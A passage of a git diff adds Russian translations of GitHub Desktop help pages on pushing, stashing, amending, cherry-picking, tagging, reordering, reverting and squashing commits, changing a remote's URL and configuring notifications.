документации по Git +- [Прятание изменений](/desktop/contributing-and-collaborating-using-github-desktop/stashing-changes) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md new file mode 100644 index 000000000000..bf64673eac58 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github.md @@ -0,0 +1,46 @@ +--- +title: Отправка изменений в GitHub +shortTitle: Pushing changes +intro: 'При локальной фиксации изменений в проекте вы можете передать эти изменения в {% data variables.product.prodname_dotcom %}, чтобы другие пользователи могли получить к ним доступ из удаленного репозитория.' +permissions: People with write permissions can push changes to a repository. +redirect_from: + - /desktop/contributing-to-projects/pushing-changes-to-github + - /desktop/contributing-and-collaborating-using-github-desktop/pushing-changes-to-github +versions: + fpt: '*' +ms.openlocfilehash: b881fa5d9e66c4a63b8c648d87072037a8cba543 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092310' +--- +## Сведения об отправке изменений в {% data variables.product.prodname_dotcom %} + +При отправке изменений зафиксированные изменения в локальном репозитории отправляются в удаленный репозиторий в {% data variables.product.prodname_dotcom %}. Если вы изменяете проект локально и хотите, чтобы другие пользователи имели доступ к изменениям, необходимо отправить изменения в {% data variables.product.prodname_dotcom %}. + +Перед отправкой изменений необходимо обновить локальную ветвь, чтобы включить все фиксации, добавленные в удаленный репозиторий. Если кто-то выполнил фиксации на удаленном компьютере, который не включен в локальную ветвь, {% data variables.product.prodname_desktop %} предложит получить новые фиксации перед отправкой изменений, чтобы избежать конфликтов при объединении. Дополнительные сведения см. в разделе [Синхронизация ветви](/desktop/contributing-to-projects/syncing-your-branch). + +{% data reusables.desktop.protected-branches %} + +## Отправка изменений в {% data variables.product.prodname_dotcom %} + +{% note %} + +**Примечание.** {% data variables.product.prodname_desktop %} отклоняет отправку, если она превышает определенные ограничения. + +- Отправка содержит большой файл, размер которого превышает {% data variables.large_files.max_github_size %}. +- Общий размер отправки превышает {% data variables.large_files.max_file_size %}. + +Если настроить {% data variables.large_files.product_name_long %} для отслеживания больших файлов, можно отправить большие файлы, которые в обычном случае были бы отклонены. Дополнительные сведения см. в разделе [Сведения о {% data variables.large_files.product_name_long %} и {% data variables.product.prodname_desktop %}](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop). + +{% endnote %} + +{% data reusables.desktop.push-origin %} +2. Если {% data variables.product.prodname_desktop %} предлагает получить новые фиксации из удаленного расположения, нажмите **Получить**. + ![Кнопка "Получить"](/assets/images/help/desktop/fetch-newer-commits.png) +3. При необходимости щелкните **Создать запрос на вытягивание**, чтобы открыть запрос на вытягивание и совместно работать над изменениями. Дополнительные сведения см. в разделе [Создание проблемы или запроса на вытягивание](/desktop/contributing-to-projects/creating-an-issue-or-pull-request) ![Кнопка "Создать запрос на вытягивание"](/assets/images/help/desktop/create-pull-request.png) + +## Дополнительные материалы +- Термин [Отправка](/github/getting-started-with-github/github-glossary/#push) в глоссарии {% data variables.product.prodname_dotcom %} +- [Фиксация и проверка изменений в проекте](/desktop/contributing-to-projects/committing-and-reviewing-changes-to-your-project) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md new file mode 100644 index 000000000000..70aad14669e1 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/stashing-changes.md @@ -0,0 +1,31 @@ +--- +title: Сокрытие изменений +intro: 'Вы можете временно сохранить изменения, не фиксируя их в ветви; для этого можно спрятать изменения.' +versions: + fpt: '*' +redirect_from: + - /desktop/contributing-and-collaborating-using-github-desktop/stashing-changes +ms.openlocfilehash: ef061bec3c60041fc40ab3e8be45d1557ca90219 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117512' +--- +## Сведения о скрытых изменениях + +Чтобы применить изменения к репозиторию, необходимо сохранить файлы, а затем зафиксировать изменения в ветви. Если вы сохранили изменения, которые еще не готовы к фиксации, вы можете сохранить их позднее. При скрытии изменений они временно удаляются из файлов, и вы можете восстановить или отменить их позже. Вы можете скрыть только один набор изменений за раз с помощью {% data variables.product.prodname_desktop %}. При использовании {% data variables.product.prodname_desktop %} для скрытия изменений все несохраненные изменения будут скрыты. После скрытия изменений в ветви можно безопасно изменить ветви или внести другие изменения в текущую ветвь. + +При использовании {% data variables.product.prodname_desktop %} для переключения ветвей при том, что вы сохранили, но не зафиксировали изменения, {% data variables.product.prodname_desktop %} предложит скрыть изменения или перенести их в другую ветвь. Дополнительные сведения см. в статье [Управление ветвями](/desktop/contributing-to-projects/managing-branches#switching-between-branches). + +## Сокрытие изменений + +{% data reusables.desktop.click-changed-files-header %} {% data reusables.desktop.click-stash-all-changes %} + +## Восстановление скрытых изменений + +{% data reusables.desktop.navigate-to-stashed-changes %} {% data reusables.desktop.click-stashed-changes %} {% data reusables.desktop.click-restore %} + +## Отмена скрытых изменений + +{% data reusables.desktop.navigate-to-stashed-changes %} {% data reusables.desktop.click-stashed-changes %} {% data reusables.desktop.click-discard %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md new file mode 100644 index 000000000000..41582220938b --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/viewing-the-branch-history.md @@ -0,0 +1,32 @@ +--- +title: Просмотр журнала ветви +intro: 'Сведения о любой фиксации можно просмотреть в {% data variables.product.prodname_desktop %}, включая объекты diff для изменений, внесенных путем фиксации.' +redirect_from: + - /desktop/contributing-to-projects/viewing-the-branch-history + - /desktop/contributing-and-collaborating-using-github-desktop/viewing-the-branch-history +versions: + fpt: '*' +shortTitle: View branch history +ms.openlocfilehash: d64d3b35a4ac064e78ea43397a7d38cd472e3213 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092309' +--- +Для каждой фиксации приводятся следующие сведения: + + - сообщение о фиксации; + - время создания фиксации; + - имя пользователя, выполнившего фиксацию, и изображение его профиля (если имеется); + - хэш SHA-1 фиксации (уникальный идентификатор). + +{% data reusables.desktop.history-tab %} +2. На вкладке **Журнал** щелкните фиксацию, которую нужно проверить. +![Фиксация на вкладке "Журнал"](/assets/images/help/desktop/branch-history-commit.png) +3. Если в фиксации несколько файлов, щелкните один из них, чтобы просмотреть изменения, внесенные в этот файл в рамках данной фиксации. +![Файл в фиксации](/assets/images/help/desktop/branch-history-file.png) + +## Дополнительные материалы + +- [Синхронизация ветви](/desktop/guides/contributing-to-projects/syncing-your-branch/) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md new file mode 100644 index 000000000000..c4facb6547f7 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/amending-a-commit.md @@ -0,0 +1,27 @@ +--- +title: Изменение фиксации +intro: 'Для изменения последней фиксации можно использовать {% data variables.product.prodname_desktop %}.' +versions: + fpt: '*' +ms.openlocfilehash: 8d92d5f755df662c4948196cf9f84b3227ec0067 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145117504' +--- +## Сведения о внесении изменений в фиксацию + +Изменение фиксации — это способ изменения последней фиксации, выполненной в текущей ветви. Это может быть полезно, если вам нужно изменить сообщение фиксации или если вы забыли включить изменения в фиксацию. + +Можно продолжать вносить изменения в фиксацию, пока она не будет отправлена в удаленный репозиторий. После отправки фиксации параметр изменения будет отключен в {% data variables.product.prodname_desktop %}. При изменении фиксации вы заменяете предыдущую фиксацию новой фиксацией в текущей ветви. Изменение фиксации, отправленной в удаленный репозиторий, может запутать других участников совместной работы с репозиторием. + +## Изменение фиксации + +{% data reusables.desktop.history-tab %} +2. Щелкните последнюю фиксацию правой кнопкой мыши и выберите пункт **Изменить фиксацию**. + ![Пункт "Изменить фиксацию" в контекстном меню](/assets/images/help/desktop/amend-commit-context-menu.png) +3. Щелкните поле **Сводка**, чтобы изменить сообщение о фиксации. При необходимости можно изменить или добавить сведения о фиксации в поле **Описание**. +4. Выберите все незафиксированные изменения, которые вы хотите добавить в фиксацию. Дополнительные сведения о выборе изменений см. в разделе [Фиксация и просмотр изменений в проекте](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/committing-and-reviewing-changes-to-your-project#selecting-changes-to-include-in-a-commit). +5. После внесения всех изменений нажмите кнопку **Изменить последнюю фиксацию**. + ![Общий вид изменения последней фиксации](/assets/images/help/desktop/amend-last-commit-overview.png) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md new file mode 100644 index 000000000000..724ee5664520 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/cherry-picking-a-commit.md @@ -0,0 +1,30 @@ +--- +title: Отбор изменений в фиксации +intro: Вы можете выбрать определенную фиксацию в одной ветви и скопировать фиксацию в другую ветвь. +versions: + fpt: '*' +redirect_from: + - /desktop/contributing-and-collaborating-using-github-desktop/cherry-picking-a-commit +ms.openlocfilehash: 6dad1615b9a8c224c3648be60759b5bb6ccf0d62 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145092305' +--- +## Сведения об отборе изменений Git + +Вы можете отобрать изменения в фиксации на одной ветви, чтобы создать на другой ветви копию фиксации с теми же изменениями. Если вы зафиксировали изменения в неправильной ветви или хотите внести те же изменения в другую ветвь, то можете отобрать изменения в фиксации и применить их к другой ветви. Отбор также можно использовать для применения определенных изменений, прежде чем вы будете готовы к созданию или слиянию запроса на вытягивание. Например, если вы зафиксируете исправление ошибки в функциональной ветви, можно отобрать изменения в этой фиксации и применить их к другим ветвям вашего проекта. + +Отбор изменений также можно использовать при совместной работе с командой. Некоторые проекты внедряют вклады путем отбора изменений в фиксациях. Дополнительные сведения см. в разделе [Распределение Git — управление проектом](https://git-scm.com/book/en/v2/Distributed-Git-Maintaining-a-Project#_rebase_cherry_pick) документации Git. + +## Отбор изменений в фиксации + +{% data reusables.desktop.current-branch-menu %} +2. В списке ветвей щелкните ветвь с фиксацией, в которой нужно отобрать изменения. +{% data reusables.desktop.history-tab %} +4. Перетащите фиксацию, в которой нужно отобрать изменения, в меню {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь** до ветви, в которую вы хотите скопировать фиксацию. + ![Перетаскивание фиксации в другую ветвь в меню "Текущая ветвь"](/assets/images/help/desktop/cherry-picking.png) + +## Дополнительные материалы +- [git-cherry-pick](https://git-scm.com/docs/git-cherry-pick) в документации Git diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md new file mode 100644 index 000000000000..2bbce2f282ac --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/index.md @@ -0,0 +1,20 @@ +--- +title: Управление фиксациями +intro: 'Вы можете использовать {% data variables.product.prodname_desktop %} для изменения, отбора изменений, переупорядочения, отмены изменений фиксаций со сжатием.' +versions: + fpt: '*' +children: + - /reverting-a-commit + - /cherry-picking-a-commit + - /reordering-commits + - /squashing-commits + - /amending-a-commit + - /managing-tags +ms.openlocfilehash: ca229074be505abf1db9865807c38c95bd11e572 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117499' +--- + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md new file mode 100644 index 000000000000..2fe0f589c518 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/managing-tags.md @@ -0,0 +1,53 @@ +--- +title: Управление метками +intro: 'Вы можете использовать {% data variables.product.prodname_desktop %} для создания, передачи и просмотра тегов.' +redirect_from: + - /desktop/contributing-to-projects/managing-tags + - /desktop/contributing-and-collaborating-using-github-desktop/managing-tags +versions: + fpt: '*' +ms.openlocfilehash: 980e47f6e3300995f6312499b23768d6f0401f36 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092302' +--- +## Сведения о метках в {% data variables.product.prodname_desktop %} + +{% data variables.product.prodname_desktop %} позволяет создавать аннотированные метки. Метки связаны с фиксациями, поэтому с их помощью можно помечать отдельные точки в журнале репозитория, включая номер версии для выпуска. Дополнительные сведения о метках выпуска см. в разделе [Сведения о выпусках](/github/administering-a-repository/about-releases). + +{% data reusables.desktop.tags-push-with-commits %} + +## Создание метки + +{% data reusables.desktop.history-tab %} {% data reusables.desktop.create-tag %} {% data reusables.desktop.name-tag %} {% data reusables.desktop.confirm-tag %} + +## Просмотр тегов + +{% data reusables.desktop.history-tab %} +2. Щелкните фиксацию. + {% note %} + + **Примечание**. В {% data variables.product.prodname_desktop %} отображается стрелка {% octicon "arrow-up" aria-label="The up arrow icon" %}, если метка не была отправлена в удаленный репозиторий. + + {% endnote %} + + ![Просмотр метки в журнале](/assets/images/help/desktop/viewing-tags-in-history.png) + +3. Все метки, связанные с фиксацией, видны в метаданных этой фиксации. +![Просмотр метки в фиксации](/assets/images/help/desktop/viewing-tags-in-commit.png) + +## Удаление меток + +{% note %} + +**Примечание**. Удалять можно только метки, связанные с фиксациями, которые еще не отправлены. + +{% endnote %} + +{% data reusables.desktop.history-tab %} {% data reusables.desktop.delete-tag %} + +## Дополнительные материалы + +- [Основы GIT — метки](https://git-scm.com/book/en/v2/Git-Basics-Tagging) в документации по GIT diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md new file mode 100644 index 000000000000..04fe4b7124fe --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reordering-commits.md @@ -0,0 +1,45 @@ +--- +title: Изменение порядка фиксаций +intro: 'Для изменения порядка фиксаций в журнале ветви можно использовать {% data variables.product.prodname_desktop %}.' +versions: + fpt: '*' +ms.openlocfilehash: 5f68af5f2798e6780a91515886130f2b3ca7e6aa +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117496' +--- +## Сведения об изменении порядка фиксации + +Изменение порядка позволяет изменять журнал фиксаций, чтобы обеспечить более значимое развитие фиксаций. {% data variables.product.prodname_desktop %} позволяет перетаскивать фиксации в журнале ветви для изменения их порядка. + +## Изменение порядка фиксации + +{% data reusables.desktop.current-branch-menu %} +2. В списке ветвей щелкните ветвь с фиксациями, порядок которых требуется изменить. +{% data reusables.desktop.history-tab %} +4. Перетащите фиксацию, порядок которой требуется изменить, и бросьте ее между двумя смежными фиксациями. + ![Изменение порядка путем перетаскивания](/assets/images/help/desktop/reorder-drag-and-drop.png) Пока приложение изменяет порядок фиксаций, диалоговое окно **Reorder in process** (Изменение порядка в обработке) указывает на ход выполнения изменения. + +## Сообщения об ошибках при изменении порядка фиксаций + +При изменении порядка фиксаций может появиться одно из следующих уведомлений или сообщений об ошибках. + +* Уведомление указывает, что запрошенное изменение в ветви потребует принудительной отправки для обновления удаленной ветви. Оно отображается, если фиксации, порядок которых был изменен ранее, были отправлены в удаленную ветвь. Принудительная отправка изменяет журнал фиксаций ветви и повлияет на других участников совместной работы, работающих в этой ветви. Нажмите кнопку **Begin reorder** (Начать изменение порядка), чтобы запустить изменение порядка, а затем нажмите кнопку **Force push origin** (Принудительно отправить origin), чтобы отправить изменения. + + ![Диалоговое окно принудительной отправки изменения порядка](/assets/images/help/desktop/reorder-force-push-dialog.png) + +* Ошибка указывает, что сбой изменения порядка произошел из-за фиксации слияния между фиксациями с измененным порядком. + + ![Диалоговое окно изменение порядка фиксации слияния](/assets/images/help/desktop/reorder-merge-commit-dialog.png) + +* Отображается уведомление о том, что в текущей ветви присутствуют незафиксированные изменения. Нажмите кнопку **Stash Changes and Continue** (Спрятать изменения и продолжить), чтобы сохранить изменения и продолжить, или нажмите кнопку **Close** (Закрыть), чтобы закрыть сообщение и зафиксировать изменения. Если незафиксированных изменений больше нет, вы можете изменить порядок фиксаций. + + ![Диалоговое окно изменения порядка для спрятанных записей](/assets/images/help/desktop/reorder-stash-dialog.png) + +* В сообщении указывается, что существуют конфликты слияния, которые необходимо разрешить, прежде чем приложение сможет продолжить изменение порядка фиксаций в ветви. + 1. Щелкните **Просмотреть конфликты**, чтобы просмотреть конфликты. + ![Сообщение о разрешении конфликтов для изменения порядка](/assets/images/help/desktop/reorder-resolve-conflicts.png) {% data reusables.desktop.resolve-merge-conflicts %} + 3. После разрешения всех конфликтов можно изменить порядок фиксаций. + diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md new file mode 100644 index 000000000000..876c3b2289c5 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/reverting-a-commit.md @@ -0,0 +1,34 @@ +--- +title: Возврат фиксации +intro: 'Вы можете отменить конкретную фиксацию, чтобы удалить изменения из ветви.' +redirect_from: + - /desktop/contributing-to-projects/reverting-a-commit + - /desktop/contributing-and-collaborating-using-github-desktop/reverting-a-commit +versions: + fpt: '*' +ms.openlocfilehash: f6cf6f120beff99bdb1c8bfd7868bb157e68d5dd +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145092301' +--- +При возврате к предыдущей фиксации возврат также является фиксацией. Исходная фиксация также остается в журнале репозитория. + +{% tip %} + +**Совет**. Несколько фиксаций рекомендуется возвращать в порядке от самых новых к самым старым. При возврате фиксаций в другом порядке могут возникнуть конфликты слияния. + +{% endtip %} + +{% mac %} + +{% data reusables.desktop.history-tab %} {% data reusables.desktop.revert-commit %} ![ Команда "Вернуть" над представлением различий](/assets/images/help/desktop/commit-revert-mac.png) + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.history-tab %} {% data reusables.desktop.revert-commit %} ![ Команда "Вернуть" над представлением различий](/assets/images/help/desktop/commit-revert-win.png) + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md new file mode 100644 index 000000000000..cd8cb3e19c99 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/managing-commits/squashing-commits.md @@ -0,0 +1,57 @@ +--- +title: Сжатие фиксаций +intro: 'Для сжатия фиксаций в журнале ветви можно использовать {% data variables.product.prodname_desktop %}.' +versions: + fpt: '*' +ms.openlocfilehash: fb8141710a99b52f1b9a93e1abc0429b5e29f116 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145117491' +--- +## Сведения о сжатии фиксации + +Сжатие позволяет объединить несколько фиксаций в журнале ветви в одну фиксацию. Это поможет сделать журнал репозитория более удобочитаемым и понятным. + +## Сжатие фиксации + +{% mac %} + +{% data reusables.desktop.current-branch-menu %} +2. В списке выберите ветвь, в которой есть фиксации, которые вы хотите сжать. +{% data reusables.desktop.history-tab %} +4. Выберите фиксации для сжатия и перетащите их на фиксацию, с которой требуется их объединить. Можно выбрать одну или несколько фиксаций с помощью <kbd>клавиши Command</kbd> или <kbd>клавиши Shift</kbd>. + ![перетаскивание сжатия](/assets/images/help/desktop/squash-drag-and-drop.png) +5. Измените сообщение фиксации новой фиксации. Сообщения фиксации выбранных фиксаций, которые вы хотите сжать, предварительно заполняются в поля **Сводка** и **Описание**. +6. Щелкните **Сжать фиксации**. + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.current-branch-menu %} +2. В списке выберите ветвь, в которой есть фиксации, которые вы хотите сжать. +{% data reusables.desktop.history-tab %} +4. Выберите фиксации для сжатия и перетащите их на фиксацию, с которой требуется их объединить. Можно выбрать одну фиксацию или выбрать несколько фиксаций с помощью <kbd>клавиши Ctrl</kbd> или <kbd>клавиши Shift</kbd>. + ![перетаскивание сжатия](/assets/images/help/desktop/squash-drag-and-drop.png) +5. Измените сообщение фиксации новой фиксации. Сообщения фиксации выбранных фиксаций, которые вы хотите сжать, предварительно заполняются в поля **Сводка** и **Описание**. +6. Щелкните **Сжать фиксации**. + +{% endwindows %} + +## Сообщения об ошибках при сжатии фиксаций + +При сжатии фиксаций можно увидеть одно из следующих уведомлений или сообщений об ошибках. + +* Уведомление сообщает, что запрошенное изменение ветви потребует принудительной отправки для обновления удаленной ветви. Принудительная отправка изменяет журнал фиксаций ветви и повлияет на других участников совместной работы, работающих в этой ветви. Выберите **Начать сжатие**, чтобы запустить сжатие, а затем щелкните **Принудительно отправить origin**, чтобы отправить изменения. + + ![диалоговое окно принудительной отправки сжатия](/assets/images/help/desktop/squash-force-push.png) + +* Ошибка указывает, что сжатие завершилось неудачей, так как среди сжатых фиксаций есть фиксация слияния. + + ![изменение диалогового окна фиксации слияния](/assets/images/help/desktop/squash-merge-commit-dialog.png) + +* Отображается уведомление о том, что в текущей ветви присутствуют незафиксированные изменения. Выберите **Спрятать изменения и продолжить**, чтобы сохранить изменения и продолжить, или выберите **Закрыть**, чтобы закрыть сообщение и зафиксировать изменения. Если никаких незафиксированных изменений больше нет, можно сжать фиксации. + + ![диалоговое окно спрятанных изменений сжатия](/assets/images/help/desktop/squash-stash-dialog.png) diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md new file mode 100644 index 000000000000..7edf864aeff1 --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/changing-a-remotes-url-from-github-desktop.md @@ -0,0 +1,32 @@ +--- +title: Изменение удаленного URL-адреса из GitHub Desktop +intro: 'Вы можете изменить удаленный URL-адрес репозитория, с которым вы работаете в {% data variables.product.prodname_desktop %}. Это можно сделать, если репозиторий переименован или имя пользователя или организация, принадлежащие репозиторию, изменились.' +redirect_from: + - /desktop/contributing-to-projects/changing-a-remotes-url-from-github-desktop + - /desktop/contributing-to-projects/changing-a-remote-s-url-from-github-desktop + - /desktop/contributing-and-collaborating-using-github-desktop/changing-a-remotes-url-from-github-desktop +versions: + fpt: '*' +shortTitle: Change a remote's URL +ms.openlocfilehash: e06ea68ead9ab79c44d7aaf96f48d6645232b496 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146058479' +--- +{% mac %} + +{% data reusables.desktop.mac-repository-settings-menu %} +2. Щелкните **Удаленный** и в разделе **Главный удаленный репозиторий** введите нужный URL-адрес. +![Поле "Главный удаленный репозиторий"](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %} + +{% endmac %} + +{% windows %} + +{% data reusables.desktop.windows-repository-settings-menu %} +2. Щелкните **Удаленный** и в разделе **Главный удаленный репозиторий** введите нужный URL-адрес. +![Поле "Главный удаленный репозиторий"](/assets/images/help/desktop/repository-settings-remote.png) {% data reusables.desktop.repository-settings-save %} + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md new file mode 100644 index 000000000000..d0aad9f08dbd --- /dev/null +++ b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/configuring-notifications-in-github-desktop.md @@ -0,0 +1,68 @@ +--- +title: Настройка уведомлений в GitHub Desktop +shortTitle: Configuring notifications +intro: '{% data variables.product.prodname_desktop %} будет уведомлять вас о событиях, происходящих в ветви запроса на вытягивание.' +versions: + fpt: '*' +ms.openlocfilehash: e7d99c4c81b64facae41b7697cde9d454e15e96a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147060437' +--- +## Сведения об уведомлениях в {% data variables.product.prodname_desktop %} + +{% data variables.product.prodname_desktop %} отображает системные уведомления о событиях, происходящих в текущем выбранном репозитории. Уведомления отображаются в следующих случаях: + +- Сбой проверки запроса на вытягивание. +- После проверки запрос на вытягивание остается с комментарием, утверждением или запрошенными изменениями. + +Если щелкнуть уведомление, фокус приложения переключится на {% data variables.product.prodname_desktop %} и появятся более подробные сведения. + +## Уведомления о сбоях проверки запроса на вытягивание + +При внесении изменений в ветвь запроса на вытягивание появляется уведомление о сбое проверок. + +![Уведомление о сбое проверки запроса на вытягивание](/assets/images/help/desktop/pull-request-checks-failed-notification.png) + +Если щелкнуть уведомление, откроется диалоговое окно с подробными сведениями о проверках. После просмотра причин сбоя проверок можно повторно запустить проверки или быстро перейти в ветвь запроса на вытягивание, чтобы приступить к исправлению ошибок. Дополнительные сведения см. в разделе [Просмотр и повторная проверка в GitHub Desktop](/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/viewing-and-re-running-checks-in-github-desktop). + +![диалоговое окно со сбоем проверки](/assets/images/help/desktop/checks-failed-dialog.png) +## Уведомления для проверок запросов на вытягивание + +{% data variables.product.prodname_desktop %} показывает системное уведомление, когда коллега по команде одобрил, прокомментировал или запросил изменения в запросе на вытягивание. Дополнительные сведения о проверках запросов на вытягивание см. в разделе [о проверках запросов на вытягивание](/github/collaborating-with-issues-and-pull-requests/about-pull-request-reviews). + +![Уведомление о проверке запроса на вытягивание](/assets/images/help/desktop/pull-request-review-notification.png) + +Если щелкнуть уведомление, фокус приложения переключится на {% data variables.product.prodname_desktop %} и появятся более подробные сведения о комментарии к проверке запроса на вытягивание. + +![Диалоговое окно проверки запроса на вытягивание](/assets/images/help/desktop/pull-request-review-dialog.png) +## Включение уведомлений + +Если системные уведомления отключены для {% data variables.product.prodname_desktop %}, выполните следующие действия, чтобы включить их. + +{% mac %} + +1. Щелкните меню **Apple**, а затем выберите **Системные настройки**. +2. Выберите **Уведомления и фокус**. +3. В списке приложений выберите **{% data variables.product.prodname_desktop %}** . +4. Щелкните **Разрешить уведомления**. + +!["Уведомления и фокус" в macOS](/assets/images/help/desktop/mac-enable-notifications.png) + +Дополнительные сведения о системных уведомлениях в macOS см. в разделе [Использование уведомлений на компьютере Mac](https://support.apple.com/en-us/HT204079). + +{% endmac %} + +{% windows %} + +1. Откройте меню **Пуск** и выберите **Параметры**. +2. Выберите **Система**, а затем щелкните **Уведомления**. +3. Найдите **{% data variables.product.prodname_desktop %}** в списке приложений и нажмите кнопку **Включить**. + +![Включение уведомлений в Windows](/assets/images/help/desktop/windows-enable-notifications.png) + +Дополнительные сведения о системных уведомлениях Windows см. в разделе [Изменение параметров уведомлений в Windows](https://support.microsoft.com/en-us/windows/change-notification-settings-in-windows-8942c744-6198-fe56-4639-34320cf9444e). + +{% endwindows %} diff --git a/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md b/translations/ru-RU/content/desktop/contributing-and-collaborating-using-github-desktop/working-with-your-remote-repository-on-github-or-github-enterprise/creating-an-issue-or-pull-request.md new file mode 100644 index 000000000000..9b7b790d3320 --- 